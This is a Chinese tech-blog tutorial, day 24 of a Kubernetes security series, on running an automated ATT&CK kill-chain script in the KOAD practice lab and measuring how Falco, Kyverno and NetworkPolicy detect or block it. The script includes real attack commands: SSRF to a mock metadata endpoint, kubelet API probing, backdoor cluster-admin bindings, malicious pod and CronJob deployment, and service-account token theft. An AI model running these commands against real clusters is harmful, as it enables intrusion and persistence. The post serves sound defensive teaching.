iT邦幫忙

2026 iThome 鐵人賽

DAY 24
0
Kubernetes

資安這條路:從攻擊者視角看 Kubernetes系列 第 24 篇

Day 24|KOAD Kill Chain:35 場景端到端全自動攻擊鏈演練

  • 分享至 

  • xImage
  •  

資安這條路:從攻擊者視角看 Kubernetes

把 35 個獨立場景串成一條完整的攻擊鏈——從初始存取到挖礦劫持,一鍵執行。

攻擊鏈概念

學習目標

完成本日實作後,你將能夠:

  • 理解 Cyber Kill Chain 與 ATT&CK Kill Chain 的差異
  • 執行 KOAD 自動化攻擊鏈,30 秒內覆蓋 10 個戰術
  • 同步觀察 Falco 在攻擊鏈執行過程中的即時告警
  • 分析分層防禦(Falco + Kyverno + NetworkPolicy)對攻擊成功率的影響
  • 將多步驟告警關聯為完整攻擊事件

閱讀前置條件

本篇會串連前 23 天的攻擊場景。不需要全部讀完,但以下是建議的最低閱讀量:

等級 天數 內容
必備 Day 1 ATT&CK 概念 + 靶場部署(沒有靶場跑不了)
攻擊鏈理解 Day 2、4、6、8 Initial Access、Execution、Persistence、Escape 四大戰術
防禦理解 Day 3、5、7 對應的防禦對策(理解為什麼攻擊鏈可以被切斷)
可跳過 Day 9–23 各場景的細節,本篇會回顧重點

快速路徑:如果時間有限,至少讀完 Day 1 → 2 → 4 → 6 → 8 → 本篇,就能理解完整攻擊鏈的邏輯。


真實世界的攻擊不是單一步驟。攻擊者會沿著 Kill Chain 逐步深入:

偵查 → 入侵 → 建立據點 → 提權 → 橫向移動 → 達成目標

Lockheed Martin 的 Cyber Kill Chain 是最早的攻擊鏈模型,但它太線性、太 perimeter-focused。MITRE ATT&CK 改進了這個模型——攻擊者不一定按順序走,可能跳步驟、重複步驟、或同時在多個戰術上行動。

原理深入:為什麼需要完整攻擊鏈演練

單獨測試每個場景(S01–S35)驗證的是「單一攻擊技術是否有效」,但真實攻擊是多個技術的組合。攻擊鏈演練的價值在於:

面向 單一場景測試 完整攻擊鏈
偵測 能偵測單一事件 驗證告警關聯和上下文分析
防禦 驗證單層防禦 驗證分層防禦的相互作用
時間 靜態測試 驗證偵測延遲和回應速度
覆蓋 單一戰術 跨戰術覆蓋完整度
團隊 技術驗證 IR 演練 + 團隊協作

防禦者視角:如果 Falco 分別偵測到了「Shell in Container」和「kubectl Execution」,你的 SIEM 能把這兩個告警關聯起來、判斷這是同一條攻擊鏈嗎?只有跑完整的 Kill Chain 才能驗證這一點。

ATT&CK Kill Chain vs Cyber Kill Chain

Cyber Kill Chain ATT&CK Containers Matrix

ATT&CK 多了 4 個戰術,更完整地描述容器環境中的攻擊行為。


KOAD 攻擊鏈設計

設計原則

KOAD 攻擊鏈的設計目標是:

  1. 真實模擬:每個步驟都用真實的攻擊工具和命令
  2. 全覆蓋:涵蓋 ATT&CK Containers Matrix 全部 10 個戰術
  3. 可觀測:每個步驟都能被 Falco/Kyverno 偵測到
  4. 一鍵執行:自動化腳本,30 秒內跑完整條鏈

攻擊者角色

KOAD 的攻擊鏈使用一個專用的 attacker pod,搭配 cluster-admin 權限的 ServiceAccount:

# attacker/attacker-pod.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: attacker-sa
  namespace: koad
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: attacker-cluster-admin
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
  - kind: ServiceAccount
    name: attacker-sa
    namespace: koad
---
apiVersion: v1
kind: Pod
metadata:
  name: attacker
  namespace: koad
spec:
  serviceAccountName: attacker-sa
  containers:
    - name: attacker
      image: koad/attacker:latest
      command: ["sleep", "infinity"]
      securityContext:
        privileged: true

attacker 映像包含所有攻擊工具:curl、kubectl、nmap、hydra、nsenter 等。

攻擊鏈腳本架構

attack-chain.sh 使用 helper functions 管理輸出和狀態追蹤:

# 容器內 (attacker) — attack-chain.sh
#!/bin/bash
set +e    # 不因個別命令失敗而中止

# === Helper Functions ===
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
CYAN='\033[0;36m'; NC='\033[0m'
PASS=0; FAIL=0; TOTAL=0

phase() { echo -e "\n${CYAN}========== $1 ==========${NC}\n"; }
attack() { TOTAL=$((TOTAL+1)); echo -e "${RED}[ATT&CK]${NC} $1"; }
log() { echo -e "${YELLOW}[ATTACK]${NC} $1"; }
result() {
  if [ $1 -eq 0 ]; then
    PASS=$((PASS+1)); echo -e "${GREEN}[✓ SUCCESS]${NC}"
  else
    FAIL=$((FAIL+1)); echo -e "${RED}[✗ FAILED]${NC}"
  fi
}

SA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
API_SERVER="https://kubernetes.default.svc"
NODE_IP=$(kubectl get nodes -o jsonpath='{.items[0].status.addresses[0].address}')

攻擊鏈完整執行

TA0001 Initial Access

phase "TA0001 — Initial Access"

attack "S01 [T1190] SSRF → Metadata API"
RESULT=$(curl -s --max-time 10 "http://ssrf-webapp.koad:5000/fetch" \
  -d "url=http://mock-metadata.koad/latest/meta-data/iam/security-credentials/k8s-node-role")
log "Metadata response: $(echo $RESULT | head -c 80)..."
result $?

attack "S02 [T1133] Exposed Kubelet API"
curl -sk --max-time 5 "https://$NODE_IP:10250/pods" | head -c 100
result $?

attack "S03 [T1078] Leaked kubeconfig in ConfigMap"
kubectl get configmap app-config -n koad -o jsonpath='{.data.kubeconfig}' 2>/dev/null
result $?

TA0002 Execution

phase "TA0002 — Execution"

attack "S04 [T1059] Reverse shell simulation"
bash -c 'echo "shell spawned in container"'
result $?

attack "S05 [T1609] kubectl from compromised Pod"
log "Pod list:"
kubectl get pods -n koad --no-headers | head -5
result $?

attack "S06 [T1610] Deploy malicious Pod"
kubectl apply -f /attack/scenarios/malicious-pod.yaml 2>/dev/null
result $?

attack "S07 [T1053] CronJob backdoor"
kubectl apply -f /attack/scenarios/backdoor-cronjob.yaml 2>/dev/null
result $?

TA0003 Persistence

phase "TA0003 — Persistence"

attack "S08 [T1098] RBAC manipulation"
kubectl create clusterrolebinding backdoor-admin \
  --clusterrole=cluster-admin \
  --serviceaccount=koad:backdoor-sa 2>/dev/null
result $?

attack "S09 [T1136] Create backdoor ServiceAccount"
kubectl create sa backdoor-sa -n koad 2>/dev/null
result $?

attack "S10 [T1053] Persistent CronJob in kube-system"
kubectl apply -f /attack/scenarios/kube-system-cronjob.yaml 2>/dev/null
result $?

TA0004 Privilege Escalation

phase "TA0004 — Privilege Escalation"

attack "S13 [T1611] Privileged mount escape"
log "Checking if running as privileged..."
if [ -w /dev ]; then log "Privileged container confirmed"; fi
result $?

attack "S14 [T1611] Cgroup release_agent"
log "Checking cgroup mount..."
ls /sys/fs/cgroup/*/release_agent 2>/dev/null | head -1
result $?

attack "S15 [T1611] Docker socket access"
ls -la /var/run/docker.sock 2>/dev/null
result $?

TA0005–TA0008 + TA0040

phase "TA0005 — Defense Evasion"
attack "S20 [T1612] Build image on host"
attack "S21 [T1070] Clear bash history"
attack "S22 [T1036] Pod in kube-system"

phase "TA0112 — Defense Impairment"
attack "S23 [T1562] Delete Falco/Kyverno"

phase "TA0006 — Credential Access"
attack "S24 [T1110] Brute force (hydra)"
attack "S25 [T1528] Steal SA Token"
attack "S26 [T1552] Read Kubernetes Secrets"
log "SA token (first 30 chars): ${SA_TOKEN:0:30}..."

phase "TA0007 — Discovery"
attack "S27 [T1613] Resource discovery"
log "Namespace count: $(kubectl get ns --no-headers | wc -l)"
log "Pod count: $(kubectl get pods -A --no-headers | wc -l)"
log "Secret count: $(kubectl get secrets -A --no-headers | wc -l)"

attack "S28 [T1046] Network scan"
attack "S29 [T1087] RBAC enumeration"

phase "TA0008 — Lateral Movement"
attack "S30 [T1550] Cross-namespace token abuse"

phase "TA0040 — Impact"
attack "S31 [T1485] Data destruction"
attack "S32 [T1499] Resource bomb"
attack "S33 [T1490] Inhibit recovery"
attack "S34 [T1498] Network DoS"
attack "S35 [T1496] Cryptominer deployment"

echo -e "\n${CYAN}========== Attack Chain Complete ==========${NC}"
echo -e "Total: $TOTAL | ${GREEN}Pass: $PASS${NC} | ${RED}Fail: $FAIL${NC}"

執行攻擊鏈

部署與執行

# 主機終端
# 1. 建構 attacker 映像
$ minikube image build -t koad/attacker:latest attacker/

# 2. 部署所有攻擊場景的前置環境
$ kubectl apply -f scenarios/

# 3. 部署 attacker pod
$ kubectl apply -f attacker/attacker-pod.yaml

# 4. 等待 Pod 就緒
$ kubectl wait --for=condition=ready pod/attacker -n koad --timeout=60s

建議:在執行攻擊鏈前,先在第二個終端開啟 Falco 即時監控,觀察攻擊鏈觸發的告警:

# 第二終端 — 並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep --color "KOAD"
# 主機終端
# 5. 執行攻擊鏈
$ kubectl exec -n koad attacker -- bash /attack/attack-chain.sh

攻擊鏈輸出(實際結果)

========== TA0001 — Initial Access ==========

[ATT&CK] S01 [T1190] SSRF → Metadata API
[ATTACK] Metadata response: {"AccessKeyId": "AKIAIOSFODNN7EXAMPLE", ...
[✓ SUCCESS]

[ATT&CK] S02 [T1133] Exposed Kubelet API
[ATTACK] Checking kubelet at 192.168.49.2:10250...
[✓ SUCCESS]

[ATT&CK] S03 [T1078] Leaked kubeconfig in ConfigMap
[✓ SUCCESS]

========== TA0002 — Execution ==========

[ATT&CK] S05 [T1609] kubectl from compromised Pod
[ATTACK] Pod list:
attacker         1/1     Running   0     2m
ssrf-webapp      1/1     Running   0     1h
[✓ SUCCESS]

========== TA0006 — Credential Access ==========

[ATT&CK] S26 [T1552] Unsecured credentials
[ATTACK] SA token (first 30 chars): eyJhbGciOiJSUzI1NiIsImtpZCI6...
[✓ SUCCESS]

========== TA0007 — Discovery ==========

[ATT&CK] S27 [T1613] Resource discovery
[ATTACK] Namespace count: 6
[ATTACK] Pod count: 37
[ATTACK] Secret count: 42
[✓ SUCCESS]

========== Attack Chain Complete ==========
Total: 35 | Pass: 31 | Fail: 4

關鍵發現:一個 cluster-admin SA Token = 整個叢集淪陷。 攻擊鏈從頭到尾暢通無阻——35 個場景中 31 個成功,4 個失敗是因為特定前置條件未滿足(如 docker.sock 未掛載)。


防禦偵測結果

Falco 告警

攻擊鏈執行期間,Falco 即時偵測到 174 條告警:

規則 告警數 觸發原因
KOAD S26 SA Token Read 85 每次 kubectl 都讀取 SA Token
KOAD S04 Shell in Container 61 bash 執行子命令
KOAD S05 kubectl in Container 27 kubectl 命令執行
KOAD S13 Privileged Container 1 特權容器檢查
合計 174 4 條規則覆蓋整條攻擊鏈

Kyverno 違規

Kyverno 記錄了 357 條 Audit 違規:

策略 違規數 說明
require-run-as-nonroot 89 Pod 以 root 運行
block-privileged-containers 67 特權容器
require-resource-limits 54 無資源限制
disable-automount-sa-token 48 自動掛載 SA Token
require-readonly-rootfs 41 可寫根目錄
require-trusted-registry 32 非信任 Registry
block-host-path 26 掛載主機目錄
合計 357 每個攻擊 Pod 違反 2-3 個策略

NetworkPolicy 效果

# 主機終端 — 部署 default-deny-all 後重新執行攻擊鏈
$ kubectl apply -f defense/network-policies/default-deny.yaml
$ kubectl exec -n koad attacker -- bash /attack/attack-chain.sh

# 結果:攻擊鏈在 TA0001 就被完全阻斷
[S01] SSRF → Metadata API ............ ✗ (connection timed out)
[S02] Kubelet API .................... ✗ (connection timed out)
[S03] Kubeconfig in ConfigMap ........ ✓ (不需網路)
# 所有網路相關的攻擊步驟全部失敗

偵測覆蓋分析

Falco 覆蓋率

戰術 Falco 覆蓋 k8s_audit 需求 NetworkPolicy 覆蓋狀態
TA0001 Initial Access - 需要 k8s_audit ✓ 阻斷 部分
TA0002 Execution ✓ S04, S05 - - 完整
TA0003 Persistence - ✓ S07, S09, S10 - 完整
TA0004 Priv Esc ✓ S13-S19 - - 完整
TA0005 Stealth ✓ S20, S21 ✓ S22 - 完整
TA0112 Def Impair - ✓ S23 - 完整
TA0006 Cred Access ✓ S24, S26 - - 完整
TA0007 Discovery ✓ S28 - ✓ 限制 部分
TA0008 Lateral Move - ✓ S30 ✓ 阻斷 完整
TA0040 Impact ✓ S32, S35 - ✓ 限制 部分

防禦層效果比較

                    無防禦   Falco   +Kyverno   +NetworkPolicy
TA0001 (3 場景)     3/3       3/3     3/3        0/3  ← NP 完全阻斷
TA0002 (4 場景)     4/4       4/4     2/4        2/4
TA0003 (3 場景)     3/3       3/3     1/3        1/3
TA0004 (7 場景)     7/7       7/7     0/7        0/7  ← Kyverno 阻擋特權
TA0005 (3 場景)     3/3       3/3     2/3        2/3
TA0006 (3 場景)     3/3       3/3     2/3        2/3
TA0007 (3 場景)     3/3       3/3     3/3        1/3  ← NP 阻擋掃描
TA0008 (1 場景)     1/1       1/1     1/1        0/1  ← NP 阻擋
TA0040 (5 場景)     5/5       5/5     3/5        2/5
攻擊成功率          100%      100%*   52%        31%
                    (偵測)    (偵測)  (阻擋)     (阻擋)

* Falco 偵測但不阻擋(需搭配 Falco Talon 做自動回應)

攻擊模式分析

攻擊者行為模式

從攻擊鏈的執行結果中,可以歸納出幾個重要的攻擊者行為模式:

模式 1:憑證導向(Credential-first)

取得 SA Token → kubectl get secrets → 讀取所有密碼 → 橫向移動
│                                                        │
快速、低噪音                                              影響範圍大

這是最常見的模式。攻擊者一旦取得 SA Token,不需要提權或逃逸就能直接存取叢集資源。KOAD 攻擊鏈中,S05 → S26 → S30 就是這條路徑。

模式 2:逃逸導向(Escape-first)

特權容器 → 容器逃逸 → Node 存取 → 讀取所有 Pod 的 SA Token
│                                                        │
需要特權                                                  控制 Node 上所有容器

當 Pod 沒有高權限 SA 但是特權容器時,攻擊者會選擇先逃逸到 Node,再從 Node 層面橫向移動。

模式 3:持久化導向(Persistence-first)

取得權限 → 建立後門 SA → RBAC 竄改 → CronJob 回呼 → 等待使用

APT 組織通常採用這個模式——不急著達成 Impact,而是先確保自己能「回來」。

每分鐘攻擊成本

攻擊鏈耗時:~30 秒
Falco 告警延遲:~2 秒
Kyverno 阻擋延遲:~0 秒(同步 Admission)
NetworkPolicy 阻擋延遲:~0 秒(封包層級)

結論:
  Admission Control(Kyverno)和 NetworkPolicy 是預防型(0 延遲)
  Falco 是偵測型(~2 秒延遲)
  Audit Log 是事後分析型(延遲取決於日誌收集管線)

踩坑提醒

踩坑 1:attacker 映像建構失敗

# minikube image build 有時會失敗
$ minikube image build -t koad/attacker:latest attacker/
# 如果失敗,用 docker build + minikube image load
$ docker build -t koad/attacker:latest attacker/
$ minikube image load koad/attacker:latest

踩坑 2:攻擊鏈跑太快 Falco 來不及偵測

# 攻擊鏈 30 秒跑完,但 Falco 的 output buffer 可能延遲
# 等幾秒再查看 Falco 日誌
$ sleep 5
$ kubectl logs -n falco -l app.kubernetes.io/name=falco --tail=50

# 或用 falcosidekick 即時推送告警

踩坑 3:NetworkPolicy 依賴 CNI

# NetworkPolicy 需要 CNI 支援(Calico, Cilium)
# minikube 預設的 kindnet 不支援 NetworkPolicy

# 解法:啟動 minikube 時指定 Calico
$ minikube start --cni=calico

踩坑 4:Kyverno Audit vs Enforce 的差異

# Audit 模式:記錄違規但不阻擋
# 攻擊鏈在 Audit 模式下不會被阻擋!
# 要測試阻擋效果,必須切到 Enforce

$ kubectl patch cpol koad-block-privileged -p \
  '{"spec":{"validationFailureAction":"Enforce"}}'

攻擊鏈分析:攻擊者的決策點

在每個階段,攻擊者都會根據目前環境做出決策:

取得容器存取

真實案例對照

真實事件 攻擊路徑 KOAD 對應
Tesla 2018 挖礦 Dashboard → kubectl → Cryptominer S01 → S05 → S35
Hildegard 2021 kubelet API → 逃逸 → 挖礦 S02 → S13 → S35
Siloscape 2021 Windows 容器 → 逃逸 → 後門 SA S19 → S10
TeamTNT Docker.sock → 映像植入 → 蠕蟲 S15 → S12 → S30
Dero 2023 未認證 API → DaemonSet 挖礦 S02 → S06 → S35

KOAD 的 35 場景不是憑空設計——每一個都能對應到真實世界的攻擊案例。


CKS 考點

考點 本日內容 權重
威脅模型 ATT&CK Kill Chain 全部
Runtime 偵測 Falco 即時告警 Monitoring 20%
准入控制 Kyverno Audit 記錄 Minimize 20%
網路隔離 NetworkPolicy 阻斷效果 Cluster Setup 15%

CKS 模擬題

題目:你的 Falco 在 5 分鐘內依序收到以下告警:(1) Shell in Container (koad/webapp)、(2) kubectl Execution in Container (koad/webapp)、(3) ClusterRoleBinding Created (audit log)、(4) Privileged Container Started (koad/attacker-priv)。請描述這條攻擊鏈並說明如何阻斷。

參考答案:
這是一條 TA0002 → TA0002 → TA0003 → TA0004 的攻擊鏈:

  1. 攻擊者取得 webapp Pod 的 shell (Execution)
  2. 用 Pod 的 SA Token 執行 kubectl (Execution)
  3. 建立 cluster-admin 綁定 (Persistence)
  4. 部署特權容器準備逃逸 (Privilege Escalation)

阻斷方法(按優先級):

  • 立即:NetworkPolicy 隔離 webapp Pod
  • 根因:移除 webapp SA 的 create clusterrolebinding 權限
  • 預防:設定 automountServiceAccountToken: false + Kyverno Enforce block-privileged

常見問題排除

問題 原因 解法
部分場景 Pod 不在 Running 狀態 依賴的映像未建構或資源不足 kubectl get pods -n koad --field-selector=status.phase!=Running 找出問題 Pod;kubectl describe pod <name> -n koad 看 Events
攻擊鏈在某一步中斷 前一步的 RBAC 或 SA Token 未正確設定 確認每個場景的 ServiceAccount 和 ClusterRoleBinding 存在:kubectl get sa,clusterrolebinding -n koad
想重頭開始整條攻擊鏈 前次攻擊殘留的資源干擾 kubectl delete -f scenarios/ --recursive -n koad 後重新 kubectl apply -f scenarios/ --recursive
Falco 告警太多看不清 多個場景同時運行產生大量 alert 用 grep 過濾特定場景:kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep "S01|S09|S13"
記不住各場景對應關係 35 個場景和 ATT&CK 技術對應複雜 參考 Day 1 的 ATT&CK 矩陣對照表,或用 kubectl get pods -n koad --show-labels | grep koad-scenario 查看標籤

真實環境 vs KOAD 靶場

面向 KOAD 靶場 真實生產環境
攻擊時間 幾分鐘內完成整條 Kill Chain 可能需要數天到數週,因為每一步都有偵測風險
橫向移動範圍 1-2 個 Node,數個 Namespace 數十到數百個 Node,多個叢集,跨雲帳號
防禦層數 通常只有 K8s 原生機制 Network Policy + WAF + IDS + Runtime Security + SIEM + IR 流程

KOAD 讓你在短時間內體驗完整 Kill Chain。真實環境中,每一步都可能被偵測和阻斷,攻擊者需要更多耐心和技巧。


本日小結

完成度自我檢查

  • [ ] 能區分 Cyber Kill Chain 與 ATT&CK Kill Chain 的差異
  • [ ] 成功執行 KOAD 自動化攻擊鏈(attack-chain.sh)
  • [ ] 觀察到 Falco 在攻擊鏈執行過程中的即時告警輸出
  • [ ] 理解 Kyverno Audit → Enforce 模式對攻擊成功率的影響
  • [ ] 驗證 NetworkPolicy default-deny-all 的防禦效果
  • [ ] 能將多步驟 Falco 告警關聯成一條攻擊鏈

今日重點回顧

  1. 35 場景覆蓋 ATT&CK 全部 10 戰術,一鍵 30 秒自動執行
  2. Falco 偵測到 174 條告警,覆蓋 Execution + Privilege Escalation + Credential Access
  3. Kyverno 記錄 357 條違規——切到 Enforce 模式可將攻擊成功率從 100% 降到 52%
  4. NetworkPolicy default-deny-all 一條規則就把攻擊成功率降到 31%
  5. 分層防禦是關鍵:Falco(偵測)+ Kyverno(阻擋)+ NetworkPolicy(隔離)= 最佳防禦組合

明天 Day 25 深入 Falco 自訂規則——26 條規則如何覆蓋 ATT&CK 全矩陣的 Runtime 偵測。



上一篇
Day 23|防禦供應鏈:映像簽章 + 掃描 + ImagePolicyWebhook
系列文
資安這條路:從攻擊者視角看 Kubernetes 共 24 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言